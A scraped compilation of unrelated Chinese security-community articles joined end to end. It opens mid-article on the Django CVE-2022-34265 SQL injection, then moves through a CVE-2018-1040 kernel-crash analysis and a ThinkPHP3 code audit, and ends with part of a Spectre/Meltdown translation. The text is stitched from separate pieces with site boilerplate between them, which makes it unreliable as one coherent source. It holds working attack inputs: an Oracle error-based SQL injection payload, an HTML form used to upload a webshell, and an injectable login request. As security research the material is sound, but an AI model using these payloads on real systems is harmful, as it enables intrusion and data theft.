/extract/?lookup_name=year from start_datetime)) and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- +
接下来测试 Trunc 函数：
sql 语句如下：
TRUNC("VULMODEL_EXPERIMENT"."START_DATETIME") = (CAST("VULMODEL_EXPERIMENT"."START_DATETIME" AS DATE))
没有 `lookup_type` 拼接入，所以 Oracle 后端 Trunc 也是不存在漏洞的。
## 修复总结
由上审计调试过程可以得出一个结论——在 Django 影响版本下， Extract 在常用四大数据库中是都存在漏洞的，而 Trunc 在 Oracle 和
MYSQL 作为后端数据库时并不存在漏洞，其他比如 MariaDB 是同 MYSQL 共享后端的，漏洞存在情况应同 MYSQL
一致，而其他第三方数据库支持的 Django 版本和 ORM 功能有很大的不同，这些都要具体情况具体分析了。
来看看是怎么修复的：
[4.0.x
的补丁](https://github.com/django/django/commit/54eb8a374d5d98594b264e8ec22337819b37443c)
[3.2.x
的补丁](https://github.com/django/django/commit/a9010fe5555e6086a9d9ae50069579400ef0685e)
可以看到在 base 模块（因为 Django 是子类化内置数据库后端的）加了一个正则匹配，而之后在 `as_sql` 生成 sql
片段时就做了一个判断，提前做好了过滤：
## 参考文档
[数据库函数 | Django 文档 | Django
(djangoproject.com)](https://docs.djangoproject.com/zh-hans/3.2/ref/models/database-functions/#extract)
[GitHub - aeyesec/CVE-2022-34265: PoC for CVE-2022-34265
(Django)](https://github.com/aeyesec/CVE-2022-34265)
以及 p 牛在《代码审计》知识星球中的分析。 | 社区文章 |
# 挖洞技巧：信息泄露之总结
##### 译文声明
本文是翻译文章，文章来源：07v8
原文地址：<http://mp.weixin.qq.com/s/jM8XZ_gI3RC3w5_r9Z3tfQ>
译文仅供参考，具体内容表达以及含义原文为准。本文翻译自07v8
[原文链接](http://mp.weixin.qq.com/s/jM8XZ_gI3RC3w5_r9Z3tfQ)。如若转载请注明出处。
商务合作，文章发布请联系 [email protected]
本文由 **Jianying** 原创发布
转载，请参考[转载声明](https://www.anquanke.com/note/repost)，注明出处：
[https://www.anquanke.com/post/id/94787](/post/id/94787)
安全客 - 有思想的安全新媒体
本文转载自: [07v8](http://mp.weixin.qq.com/s/jM8XZ_gI3RC3w5_r9Z3tfQ)
如若转载,请注明出处： <http://mp.weixin.qq.com/s/jM8XZ_gI3RC3w5_r9Z3tfQ>
安全客 - 有思想的安全新媒体
分享到：
* [漏洞](/tag/漏洞)
* [信息泄露](/tag/信息泄露)
**+1** __8赞
__收藏
Jianying
分享到： | 社区文章 |
# 关于微软Windows远程内核崩溃漏洞CVE-2018-1040的详细分析
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/microsoft-windows-remote-kernel-crash-vulnerability.html>
译文仅供参考，具体内容表达以及含义原文为准。
在2018年1月底，[FortiGuard Labs团队](https://www.fortinet.com/fortiguard/threat-intelligence/threat-research.html?utm_source=nreleaseblog&utm_campaign=2018-q2-fortiguardlabs-cta)在微软Windows中发现了一个远程内核崩溃漏洞，并按照Fortinet公司负责任的披露流程向微软进行了报告。6月12日，微软发布了[一份](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-1040)包含此漏洞修复程序的公告，并将其标识为CVE-2018-1040。
这个漏洞存在于微软Windows代码完整性内核模块“ci.dll”中。所有流行的Windows版本都受到影响，包括Windows 10、Windows
7、Windows 8.1、Windows Server 2008、Windows Server 2012和Windows Server 2016。
漏洞可以通过在网站或SMB共享远程下载一个精心制作的.DLL或.LIB文件到Windows上来触发。当使用IE或Edge下载文件并保存时，将执行Windows内核指针解引用到无效地址。因此，会发生Windows
Bugcheck（内核崩溃）。在Windows 10上，系统重新启动后，用户登录时会发生内核崩溃。这导致Windows 10内核的崩溃出现无限循环。
在这篇文章中，我将分享关于这个漏洞的详细分析。
## 分析
要重现此远程内核崩溃漏洞，你可以在Windows 10上打开IE或Edge，输入url
<http://192.168.0.111/poc.dll>（它可以是托管PoC文件的任何URL），然后“在弹出窗口中选择“保存。当保存文件poc.dll时，可以看到Windows
10 Bugcheck（内核崩溃）。对于Windows 10中的内核崩溃，内核崩溃即使重新启动也会继续发生，这会导致Windows
10无法正常工作。对于用户，系统可能需要重新安装。
以下是发生崩溃时的调用堆栈。
图1.发生崩溃时的调用堆栈
从上面的调用堆栈输出中，我们可以看到在调用函数“KERNELBASE!GetFileVersionInfoSizeExW”时会发生内核崩溃，然后调用函数“KERNELBASE!LoadLibraryExW”。最后，它会导致一个完整的内核崩溃。
当IE/Edge下载.dll或.lib文件并保存在磁盘上时，它将调用函数“KERNELBASE！GetFileVersionInfoSizeExW”来检索.dll/.lib的版本信息。想要获取.dll/.lib的版本信息，它会调用函数“KERNELBASE!LoadLibraryExW”以加载dwFlags等于0x22的.dll/.lib文件。在微软MSDN中搜索，我们可以看到dwFlags
0x22是“LOAD_LIBRARY_AS_DATAFILE(0x00000002)”和“LOAD_LIBRARY_AS_IMAGE_RESOURCE(0x00000020)”的组合。因此，IE/Edge会将下载的.dll
/.lib文件加载为资源.dll/.lib和数据文件以检索相关信息。由于精心制作的poc.dll，在Windows
10发生内核崩溃后，即使重新启动也无法恢复系统。这是因为用户登录Windows时，会扫描IE/Edge临时目录中的.dll /.lib文件。
函数LoadLibraryExW加载精心制作的PoC文件poc.dll。当它处理SizeOfHeaders时，它会得到一个0x06的尺寸大小（这是一个精心制作的大小，正确的大小应该是0x200）。在计算CI.dll中的函数CI!CipImageGetImageHash中的sha1散列块大小时，会导致整数溢出。溢出的块大小是0xfffffeb6。通过调用函数CI!SymCryptSha1AppendBlocks，计算得到溢出块的大小为0xfffe7a。由于制作的sha1块尺寸过大，导致大循环和内核内存读访问冲突。因此，会发生Windows
Bugcheck（内核崩溃）。
图2.包含精心制作的SizeOfHeaders的poc.dll
通过你想工程和跟踪，我们可以看到函数_CipImageGetImageHash的调用导致一个sha1块大小整数溢出。
PAGE:85D15618 _CipImageGetImageHash@36 proc near ; CODE XREF:
......
PAGE:85D1571F mov edx, edi
PAGE:85D15721 mov ecx, [ebp+arg_4]
PAGE:85D15724 call _HashpHashBytes@12 ; HashpHashBytes(x,x,x)
PAGE:85D15729 lea edx, [esi+0A0h]
PAGE:85D1572F
PAGE:85D1572F loc_85D1572F: ; CODE XREF: CipImageGetImageHash(x,x,x,x,x,x,x,x,x)+CF↑j
PAGE:85D1572F mov edi, [ebp+arg_10]
PAGE:85D15732 mov eax, [edi+54h] ; -----> here [edi+54h] is obtained from poc.dll at offset 0x104, its value is 0x06.
PAGE:85D15735 sub eax, edx ; -----> here edx=83560150
PAGE:85D15737 add eax, [ebp+BaseAddress] ----> here [ebp+BaseAddress]=83560000
PAGE:85D1573A push eax ; ---------> So, after the above calculation, eax occurs integer subtraction overflow,result in eax=fffffeb6
PAGE:85D1573B mov ecx, [ebp+arg_4]
PAGE:85D1573E call _HashpHashBytes@12 ------> the function call chain finally results in a kernel crash
PAGE:85D15743 mov esi, [edi+54h] ;
PAGE:85D15746 mov [ebp+var_30], esi
In following function, an insufficient bounds check is performed:
.text:85D0368C @SymCryptHashAppendInternal@16 proc near
.text:85D0368C ; CODE XREF: SymCryptSha1Append(x,x,x)+10↑p
.text:85D0368C ; SymCryptMd5Append(x,x,x)+10↑p
.text:85D0368C
.text:85D0368C var_18 = dword ptr -18h
.text:85D0368C var_14 = dword ptr -14h
.text:85D0368C var_10 = dword ptr -10h
.text:85D0368C var_C = dword ptr -0Ch
.text:85D0368C var_8 = dword ptr -8
.text:85D0368C var_4 = dword ptr -4
.text:85D0368C Src = dword ptr 8
.text:85D0368C MaxCount = dword ptr 0Ch
.text:85D0368C
.text:85D0368C mov edi, edi
.text:85D0368E push ebp
.text:85D0368F mov ebp, esp .
......
85D0372D mov ecx, [ebp+var_8]
.text:85D03730 mov edx, [ebp+var_18]
.text:85D03733 jmp short loc_85D0373B
.text:85D03735 ; --------------------------------------------------------------------------- .text:85D03735
.text:85D03735 loc_85D03735: ; CODE XREF: SymCryptHashAppendInternal(x,x,x,x)+46↑j
.text:85D03735 ; SymCryptHashAppendInternal(x,x,x,x)+52↑j
.text:85D03735 mov ecx, [ebp+Src]
.text:85D03738 mov [ebp+var_8], ecx
.text:85D0373B
.text:85D0373B loc_85D0373B: ; CODE XREF: SymCryptHashAppendInternal(x,x,x,x)+A7↑j
.text:85D0373B cmp esi, [edx+18h] ; ----> here [edx+18h] equals 40h, esi equals fffffe7a, due to unsigned integer comparison, the crafted block size is not found
.text:85D0373E jb short loc_85D03769
.text:85D03740 mov edi, [edx+1Ch]
.text:85D03743 lea eax, [ebp+var_C]
.text:85D03746 push eax
.text:85D03747 push esi
.text:85D03748 mov esi, [edx+0Ch]
.text:85D0374B add edi, ebx
.text:85D0374D mov ecx, esi
.text:85D0374F call ds:___guard_check_icall_fptr ; _guard_check_icall_nop(x)
.text:85D03755 mov edx, [ebp+var_8]
.text:85D03758 mov ecx, edi
.text:85D0375A call esi
随着sha1块的溢出，它最终调用了以下函数：
.text:85D01060 @SymCryptSha1AppendBlocks@16 proc near ; CODE XREF: SymCryptSha1Result(x,x)+40↑p
......
.text:85D010A4 mov eax, [ebp+arg_0] -----> here eax gets the overflowed sha1 block size= 0xfffffe7a
.text:85D010A7 mov [esp+0D0h+var_B4], edi
.text:85D010AB mov [esp+0D0h+var_C4], ecx
.text:85D010AF cmp eax, 40h
.text:85D010B2 jb loc_85D02507
.text:85D010B8 mov [esp+0D0h+var_58], ecx
.text:85D010BC mov ecx, [esp+0D0h+var_C0]
.text:85D010C0 mov [esp+0D0h+var_54], ecx
.text:85D010C4 lea ecx, [edx+8] ;
.text:85D010C7 shr eax, 6 -------> the overflowed block size is used as the following loop function counter
.text:85D010CA mov [esp+0D0h+var_60], esi
.text:85D010CE mov [esp+0D0h+var_5C], edi
.text:85D010D2 mov [esp+0D0h+var_68], ecx ;
.text:85D010D6 mov [esp+0D0h+var_50], eax -----> here is the loop counter
......
.text:85D01359 ror edx, 2
.text:85D0135C mov ecx, [ecx+28h]
.text:85D0135F bswap ecx
.text:85D01361 mov [esp+0D0h+var_6C], ecx
.text:85D01365 mov ecx, eax
.text:85D01367 rol ecx, 5
.text:85D0136A mov eax, edi
.text:85D0136C add ecx, [esp+0D0h+var_6C]
.text:85D01370 xor eax, edx
.text:85D01372 and eax, [esp+0D0h+var_C0]
.text:85D01376 xor eax, edi
.text:85D01378 add edi, 5A827999h
.text:85D0137E add eax, ecx
.text:85D01380 mov ecx, [esp+0D0h+var_68]
.text:85D01384 add eax, esi
.text:85D01386 mov esi, [esp+0D0h+var_C0]
.text:85D0138A mov [esp+0D0h+var_84], eax
.text:85D0138E ror esi, 2
.text:85D01391 mov ecx, [ecx+2Ch] ----> after a large loop call, here it results in a read access violation, so the bugcheck (kernel crash) occurs
.text:85D01394 bswap ecx
.text:85D01396 mov [esp+0D0h+var_9C], ecx
.......
.text:85D024DD mov ecx, [esp+0D0h+var_68]
.text:85D024E1 mov [esp+0D0h+var_54], eax
.text:85D024E5 add ecx, 40h ----> memory access pointer increases 0x40 in each loop
.text:85D024E8 mov [esp+0D0h+var_C0], eax
.text:85D024EC mov eax, [ebp+arg_0]
.text:85D024EF sub eax, 40h
.text:85D024F2 mov [esp+0D0h+var_68], ecx
.text:85D024F6 sub [esp+0D0h+var_50], 1 ------> here the loop counter decreases by 1, not equaling 0, to continue the loop. Due to the overflowed large sha1 block size, here a large loop is executed.
.text:85D024FE mov [ebp+arg_0], eax
.text:85D02501 jnz loc_85D010DD
.text:85D02507
从上面的分析中可以看出，远程内核崩溃的根本原因是LoadLibraryEx函数无法正确解析精心制作的.dll/.lib文件作为资源和数据文件。当poc.dll包含精心制作的SizeOfHeaders值0x06（正确的值应为0x200）位于PoC文件中的偏移量0x104处时，会发生整数溢出。
精心制作的大小值会导致计算错误的sha1块大小（它会变成一个负值）。由于边界检查不足，sha1计算函数进入一个较大的循环，这会导致内存读取访问冲突。最后，发生系统Bugcheck（内核崩溃）。
## 解决方案
所有易受攻击的微软Windows用户都被鼓励升级到最新的Windows版本或应用最新的补丁。此外，已经部署了Fortinet
IPS解决方案的组织已经通过以下签名保护不受此漏洞影响：
**MS.Windows.Code.Integrity.Module.DoS**
审核人：yiwang 编辑：边边 | 社区文章 |
**前言**
今天逛某司的时候，看到一个师傅发了一个tp3的源代码，反正菜的没事做，就想着试一试tp框架，本人水平比较差，也是第一次代码审计，文中有错误的地方还请师傅指教纠正。
**源码下载以及安装**
源码需要的师傅，可以私信我！
创建数据库->导入数据库文件-> 更改数据库配置文件即可
**审计**
先直接D盾一波，发现了一个大马和好多图片马，不知道是开发者后门，还是发帖者的后门
后门da.php
图片马后门
**任意文件上传**
我们看到这个 handle_file_upload 这个方法，
梳理一下逻辑：
该方法有7个参数
1035行：$file = new \stdClass(); 创建一个没有成员方法和属性的空对象， StdClass类没有任何成员方法，也没有任何成员属性
1036行调用了get_file_name
方法，跟进去看一下，首先这个函数传参，是让我们的uoload_file变量传到了file_path变量上，然后504行又调用了trim_file_name方法，又跟进去吧
trim_file_name 方法如下，494行将我们的name参数去掉反斜杠（我们恰好也不用反斜杠），basename函数是输出我们的路径下的文件名,
而trim是去掉定义的.\x00..\x20的字符，进入判断语句，而str_replace('.', '-',
microtime(true))含义就是计算php程序代码执行消耗时间，将字符 . 替换成 - 而已，然后返回
又返回到我们的 get_file_name 方法，506行调用了 get_unique_filename 方法，跟进去呢
回到handle_file_upload 方法，有调用了fix_integer_overflow ，对文件大小进行检测 ，
继续跟get_upload_path 方法，是将我们上传路径给输出来，整挺好
后面就直接将文件，move_upload_file了， 并没有对后缀进行检测，
接下来就是看看哪儿调用了这个方法，恰巧index.php 新建了这个类的对象
那我们就可以构造一html表单来上传文件了。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1/Public/Inner/Js/uploader/server/php/index.php" method="post">
<input type="file" name="files"/>
<input type="submit" value="submit"/>
</form>
</body>
</html>
可以直接上传我们的html文件，还输出了路径，真好！
可成功getshell
**SQL注入**
IndexController.class.php 看这个login方法
在tp3中 有个I方法，定义就是input ，获取前台得到参数，这儿就是获取post传参的name、pwd
的值，直接拼接到我们的condition变量中，实例化我们的user模型，看我们的field方法，就是获取全部字段的值
回到Login方法，261的where方法就是跟我们sql语句的条件表达式，最后跟进find方法进行查询数据，
而且整个文件并没有包含其他的文件，这个文件大概率是不会有全局过滤的，然后我们的就使用sqlmap来验证，参数是name
POST /index.php?a=login&c=Index&m=Index HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.7.154/
Cookie: PHPSESSID=pqim3lngnotf1p4sj15qurnef0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 97
Host: 192.168.7.154
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
device=0&name=*&pwd=d41d8cd98f00b204e9800998ecf8427e
存在注入点 | 社区文章 |
本文是[Reading privileged memory with a side-channel](https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html)的翻译文章。上篇见[这里](https://xz.aliyun.com/t/2273)
# 变体2：分支目标注入
## 从KVM guest虚拟机读取主机内存
### 找到主机内核
我们的PoC通过几个步骤来定位主机内核。下一步攻击所确定和必要的信息包括：
* 低于kvm-intel.ko地址的20位
* kvm.ko的完整地址
* vmlinux的完整地址
回顾一下，这并不是必要的，但它很好地演示了攻击者可以使用的各种技术。 更简单的方法是首先确定vmlinux的地址，然后平分kvm.ko和kvm-intel.ko的地址。
第一步，kvm-intel.ko的地址被泄露。 为此，guest输入后的分支历史缓冲区状态被转出。然后，对于kvm-intel.ko的加载地址的位12..19的每个可能的值，历史缓冲区的预期最低16位是基于加载地址推测和guest入口之前的最后8个分支的已知偏移来计算的，并将结果与泄漏历史缓冲区状态的最低16位进行比较。
通过测量具有两个目标的间接调用的误预测速率，分支历史缓冲区状态以2位的步长泄漏。间接调用的一种方式是从vmcall指令开始，然后是一系列N个分支，其相关的源地址位和目标地址位均为零。间接调用的第二种方式来自用户空间中的一系列受控分支，可用于将任意值写入分支历史缓冲区。
错误预测率的测量方法与“逆向工程分支预测器内部”部分相同，使用一个调用目标加载缓存行，另一个检查是否加载了相同的缓存行。
在N = 29的情况下，如果受控分支历史缓冲器值为零，则由于来自超级调用的所有历史缓冲器状态已被擦除，错误预测将以高速率发生。
在N = 28的情况下，如果受控分支历史缓冲值为 0<<(28 _2), 1 <<(28_2), 2<<(28 _2), 3 <<(28_2)
之一，通过测试所有四种可能性，可以检测哪一种是正确的。然后，为了减少N的值，四种可能性是{0|1|2|3}<<(28*2) |
(history_buffer_for(N+1) >> 2)。
通过重复此操作以减少N的值，可以确定N = 0的分支历史缓冲值。
此时，kvm-intel.ko的低20位是已知的; 下一步是大致找到kvm.ko.
为此，使用通用分支预测器，和从kvm.ko到kvm-intel.ko的间接调用插入到BTB中的数据，该数据发生在每个超级调用上;这意味着间接调用的源地址必须从BTB中泄漏出去。
kvm.ko可能位于从0xffffffffc0000000到0xffffffffc4000000的范围内，页面对齐（0x1000）。
这意味着“通用预测变量”一节中表中的前四项适用; 会有24-1 = 15个别名的地址。 但这也是一个优点：它将搜索空间从0x4000减少到0x4000 /
2^4 = 1024。
要找到源或其某个别名地址的正确地址，通过特定寄存器加载数据的代码被放置在所有可能的调用目标（kvm-intel.ko的泄漏低20位加上调用目标的模块内偏移加上220的倍数）并且间接呼叫被放置在所有可能的呼叫源。
然后，交替执行超级调用，并通过不同的可能的非别名调用源执行间接调用，并使用随机历史缓冲区状态，防止专用预测工作。
在此步骤之后，kvm.ko的加载地址仍有216个可能性。
接下来，可以使用从vmlinux到kvm.ko的间接调用，以类似的方式确定vmlinux的加载地址。幸运的是，在vmlinux的加载地址中随机化的位没有一个被折叠在一起，所以与定位kvm.ko时不同，结果将直接是唯一的。vmlinux具有2MiB的对齐和1GiB的随机化范围，所以仍然只有512个可能的地址。
因为（据我们所知），一个简单的超级调用实际上并不会导致从vmlinux到kvm.ko的间接调用，我们使用模拟串行端口的状态寄存器中的端口I /
O，该端口出现在使用virt-manager创建的虚拟机的默认配置中。
剩下的唯一信息是kvm.ko的16个别名加载地址中的哪一个实际上是正确的。
因为对kvm.ko的间接调用的源地址是已知的，所以可以使用二分法来解决：将代码放置在各种可能的目标上，这取决于推测性地执行代码的哪个实例，加载两个缓存行中的一个，并检测哪一个缓存行被加载。
### 识别缓存集
PoC假定虚拟机无法访问超大页面。要发现具有相对于4KiB页面边界的特定对齐的所有L3高速缓存集合的驱逐集合，PoC将首先分配25600页内存。然后，在一个循环中，它选择所有剩余的未排序页面的随机子集，使得子集中包含驱逐集合的集合的期望数目为1，通过反复访问它的缓存行并测试缓存行是否总是被缓存（在这种情况下，它们可能不是驱逐集的一部分），从而将每个子集减少到驱逐集，并尝试使用新的驱逐集来驱逐所有剩余的未分类的缓存行，以确定它们是否在相同的缓存集中[12]。
### 查找guest页面的主机虚拟地址
由于此攻击使用FLUSH + RELOAD方法泄漏数据，因此需要知道一个guest页面的主机内核虚拟地址。 诸如PRIME +
PROBE等替代方法应该没有这个要求。
攻击这一步的基本思路是对管理程序使用分支目标注入攻击来加载攻击者控制的地址并测试是否导致加载客户拥有的页面。为此，可以使用从R8指定的内存位置进行简单加载的gadget
- 在此内核版本上达到guest退出后的第一个间接调用时，R8-R11仍包含guest控制值。
我们预计攻击者需要知道在这一点上必须使用哪个驱逐集或者同时暴力驱逐，但是，通过实验，使用随机驱逐集也可以。
我们的理论是观察到的行为实际上是L1D和L2驱逐的结果，这可能足以允许一些指令值的推测性执行。
主机内核映射（近似于）physmap区域中的所有物理内存，包括分配给KVM guest虚拟机的内存。
但是，physmap的位置是随机的（1GiB对齐），在大小为128PiB的区域。 因此，直接强制guest页面的主机虚拟地址需要很长时间。 这是可能的;
作为估计值，假设每秒12000次成功注入和30个并行测试的guest页面，应该可能在一天左右或更短的时间内完成; 但不像几分钟内那么令人印象深刻。
为了优化这个问题，可以将问题分解：首先，使用可以从物理地址加载的小工具蛮力物理地址，然后蛮力施加physmap区域的基地址。
因为通常可以假定物理地址远远低于128PiB，所以它可以更有效地暴力破解，并且之后暴力破坏physmap区域的基地址也更容易，因为可以使用1GiB对齐的地址猜测。
要强制使用物理地址，可以使用以下gadget：
ffffffff810a9def: 4c 89 c0 mov rax,r8
ffffffff810a9df2: 4d 63 f9 movsxd r15,r9d
ffffffff810a9df5: 4e 8b 04 fd c0 b3 a6 mov r8,QWORD PTR [r15*8-0x7e594c40]
ffffffff810a9dfc: 81
ffffffff810a9dfd: 4a 8d 3c 00 lea rdi,[rax+r8*1]
ffffffff810a9e01: 4d 8b a4 00 f8 00 00 mov r12,QWORD PTR [r8+rax*1+0xf8]
ffffffff810a9e08: 00
这个gadget允许通过适当地设置R9来加载内核文本部分周围8字节对齐的值，尤其允许加载physmap的起始地址page_offset_base。
然后，原来在R8中的值 - 物理地址推测值减去0xf8 - 被添加到先前加载的结果中，将0xfa加入其中，并且结果被解除引用。
### 缓存集选择
为了选择正确的L3驱逐集，来自下一节的攻击基本上以不同的驱逐集执行，直到它工作。
### 数据泄露
在这一点上，通常有必要在主机内核代码中定位可用于实际泄漏数据的小工具，方法是从攻击者控制的位置读取数据，对结果进行适当的移位和掩码，然后将结果作为抵消攻击者控制地址的负载。但是将gadget拼凑在一起，弄清楚哪些在推测环境中起作用看起来很烦人。
所以作为替代，我们决定使用eBPF解释器，它是内置于宿主内核的 -虽然没有合法的方式从虚拟机内部调用它，但主机内核的文本部分中代码的存在足以使其可用于攻击，就像普通的ROP gadget一样。
eBPF解释器入口点具有以下函数签名：
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
第二个参数是指向要执行的静态预验证eBPF指令数组的指针 - 这意味着__bpf_prog_run（）不会执行任何类型检查或边界检查。
第一个参数只是作为初始模拟寄存器状态的一部分存储，所以它的值并不重要。
eBPF解释器提供了以下内容：
* 多个仿真的64位寄存器
* 64位立即写入仿真寄存器
* 内存从存储在仿真寄存器中的地址读取数据
* 按位操作（包括位移）和算术运算
要调用解释器入口点，需要一个给定R8-R11控制和受控数据在已知内存位置的RSI和RIP控制的gadget。 以下gadget提供了此功能：
ffffffff81514edd: 4c 89 ce mov rsi,r9
ffffffff81514ee0: 41 ff 90 b0 00 00 00 call QWORD PTR [r8+0xb0]
现在，通过将R8和R9指向physmap中客户拥有页面的映射，可以在主机内核中推测性地执行任意未验证的eBPF字节码。
然后，可以使用相对简单的字节码将数据泄漏到缓存中。
# 变体3：恶意数据缓存加载
基本上看Anders Fogh的博文就够了： <https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/>
总之，使用此问题变体的攻击尝试从用户空间读取内核内存，而不会误导内核代码的控制流。
这通过使用用于以前变体的代码模式，但是是在用户空间中作用。
其基本思想是，访问地址的权限检查可能不是关于从内存向寄存器读取数据的关键路径，权限检查可能会对性能产生重大影响。相反，内存读取可以使读取的结果立即可用于以下指令，并且只是异步执行权限检查，如果权限检查失败，则在重新排序缓冲区中设置一个标志，导致引发异常。
我们对Anders Fogh的博文有一些补充：
> “想象一下在usermode中执行的以下指令
> mov rax，[somekernelmodeaddress]
> 它在退出时会导致中断，[...]“
还可以在高延迟预测错误分支后面执行该指令以避免发生页面错误。 也可以通过增加从内核地址读取和传送相关异常之间的延迟来扩大推测窗口。
> “首先，我调用一个系统调用触及这个内存，其次，我使用prefetcht0指令来提高我在L1中加载地址的几率。”
当我们在系统调用之后使用预取指令时，攻击停止了对我们的工作，我们不知道为什么。
也许是CPU以某种方式存储访问是否在上次访问时被拒绝，并在这种情况下阻止了攻击？
> “幸运的是，当不允许访问时，我没有得到一个缓慢的read suggesting的英特尔的null.”
（从内核地址读取返回全零）似乎发生的内存不足够缓存，但对于哪些可跳转表项存在，至少在重复读取尝试后。 对于未映射的内存，内核地址读取根本不返回结果。
# 进一步研究的想法
我们相信，我们的研究提供了许多尚未研究的剩余研究课题，我们鼓励其他公共研究人员研究这些课题。
本节包含的博客数量比本博客的其余部分还要高 - 它包含未经测试的想法，这可能毫无用处。
## 没有数据高速缓存时序的泄露
除了测量数据高速缓存时序之外，研究是否存在微架构攻击会很有趣，这些数据高速缓存时序可用于从推测执行中泄露数据。
## 其他微架构
到目前为止，我们的研究相对以Haswell为中心。查看细节，例如其他现代处理器的分支预测如何工作，以及如何攻击可能会很有趣。
## 其他JIT引擎
我们针对Linux内核中内置的JIT引擎开发了成功的变体1攻击。看看对系统控制较少的更先进的JIT引擎的攻击是否也是实用的 -尤其是JavaScript引擎是很有意义的。
## 更高效地扫描主机虚拟地址和缓存集
在变体2中，在扫描客户拥有的页面的主机虚拟地址的同时，尝试首先确定其L3缓存集合可能是有意义的。这可以通过使用通过physmap的逐出模式执行L3逐出，然后测试逐出是否影响客户拥有的页面来完成。
对于缓存集合也可能有效 - 使用L1D +
L2驱逐集合来驱逐主机内核上下文中的函数指针，使用内核中的小配件使用物理地址驱逐L3集合，然后使用它来确定哪些缓存集合是来宾直到宾客拥有的驱逐集已经构建完成为止。
## 倾倒完整的BTB状态
考虑到通用BTB似乎只能区分2个31-8个或更少的源地址，似乎可行的是在约几个小时的时间范围内转储由例如超级调用产生的完整BTB状态。（扫描跳转源，然后对于每个发现的跳转源，将跳转目标等分）。即使主机内核是定制的，也可能用于识别主机内核中函数的位置。
源地址别名会在某种程度上降低实用性，但由于目标地址不会受到这种影响，因此可能会将来自具有不同KASLR偏移量的机器的（源，目标）对关联起来，并且可能会基于KASLR而减少候选地址的数量加法，而混叠是按位。
然后，这可能允许攻击者根据跳转偏移或函数之间的距离来猜测主机内核版本或用于构建它的编译器。
## 变体2：泄露更有效的gadget
如果对变体2使用足够高效的gadget，那么可能根本不需要从L3缓存驱逐主机内核函数指针，只用L1D和L2驱逐它们就足够了。
## 各种加速
特别是变体2 PoC仍然有点慢。这可能是因为：
* 它一次只泄漏一点点; 一次泄漏更多点应该是可行的。
* 它大量使用IRETQ来隐藏处理器的控制流。
使用变体2可以实现哪些数据泄漏率会很有趣。
## 使用return预测器泄露或注入
如果返回预测器在特权级别更改时也不会丢失状态，它可能对于从VM内部定位主机内核（在这种情况下，可以使用二分法来快速发现主机内核的完整地址）或注入返回目标（特别是如果返回地址存储在高速缓存行中，可以被攻击者清除并且在返回指令之前不重新加载）。
然而，我们还没有对迄今为止取得确凿结果的返回预测因子进行任何实验。
## 从间接调用预测器泄露数据
我们试图从间接调用预测器泄露目标信息，但尚未使其工作。
# 供应商声明
Project Zero向其透露此漏洞的供应商向我们提供了有关此问题的以下声明：
## 英特尔
英特尔致力于提高计算机系统的整体安全性。这里描述的方法依赖于现代微处理器的共同特性。因此，对这些方法的敏感度不仅限于英特尔处理器，也不意味着处理器超出其预期的功能规格。英特尔正在与我们的生态系统合作伙伴以及其他处理器受到影响的芯片供应商密切合作，为这些方法设计和分发软件和硬件缓解措施。
有关更多信息和有用资源的链接，请访问：
[https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr](https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&languageid=en-fr)
<http://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf>
## AMD
AMD提供了以下链接： <http://www.amd.com/en/corporate/speculative-execution>
## ARM
Arm认识到，尽管按预期工作，许多现代高性能处理器的推测功能可以与缓存操作的时间结合使用，以泄漏本博客中描述的一些信息。相应地，Arm开发了我们推荐部署的软件缓解措施。
有关受影响的处理器和缓解的具体细节可以在此网站上找到：<https://developer.arm.com/support/security-update>
Arm包含详细的技术白皮书以及来自Arm架构合作伙伴关于其特定实施和缓解措施的信息的链接。
# 文献
请注意，其中一些文档 - 特别是英特尔的文档 - 会随着时间而改变，所以引用和引用它们可能不会反映英特尔文档的最新版本。
* <https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf> ：英特尔的优化手册有许多有趣的优化建议暗示相关微架构行为; 例如：
“在间接分支之后立即放置数据可能会导致性能问题，如果数据由全零组成，它看起来像是一长串ADD到内存目标，这可能会导致资源冲突并减缓分支恢复的速度。间接分支可能会作为分支出现在分支预测[sic]硬件上，它可以分支执行其他数据页面，这可能导致后续自修改代码问题。“
“负载可以：[...]在前面的分支解决之前进行推测。”
“软件应避免写入正在执行的同一个1 KB子页面中的代码页，或者避免写入正在写入的相同2
KB子页面中的代码。此外，共享包含直接或推测性执行代码的页面处理器作为一个数据页面可以触发一个SMC条件，导致机器的整个流水线和跟踪缓存被清除，这是由于自修改代码的条件。“
“如果映射为WB或WT，则可能导致推测性处理器读取将数据带入缓存”
“如果未能将该地区映射为WC，则可能会使该行被推测性地读入处理器缓存中（通过错误预测分支的错误路径）。”
* <https://software.intel.com/en-us/articles/intel-sdm：英特尔软件开发人员手册>
* <http://www.agner.org/optimize/microarchitecture.pdf：Agner> Fog关于逆向工程处理器行为和相关理论的文档对这项研究非常有帮助。
* <http://www.cs.binghamton.edu/~dima/micro16.pdf和https://github.com/felixwilhelm/mario_baslr：Dmitry> Evtyushkin，Dmitry Ponomarev和Nael Abu-Ghazaleh关于滥用分支目标缓冲区行为的先前研究泄漏地址，我们用它作为分析Haswell处理器分支预测的起点。Felix Wilhelm基于此的研究提供了变体2的基本思想。
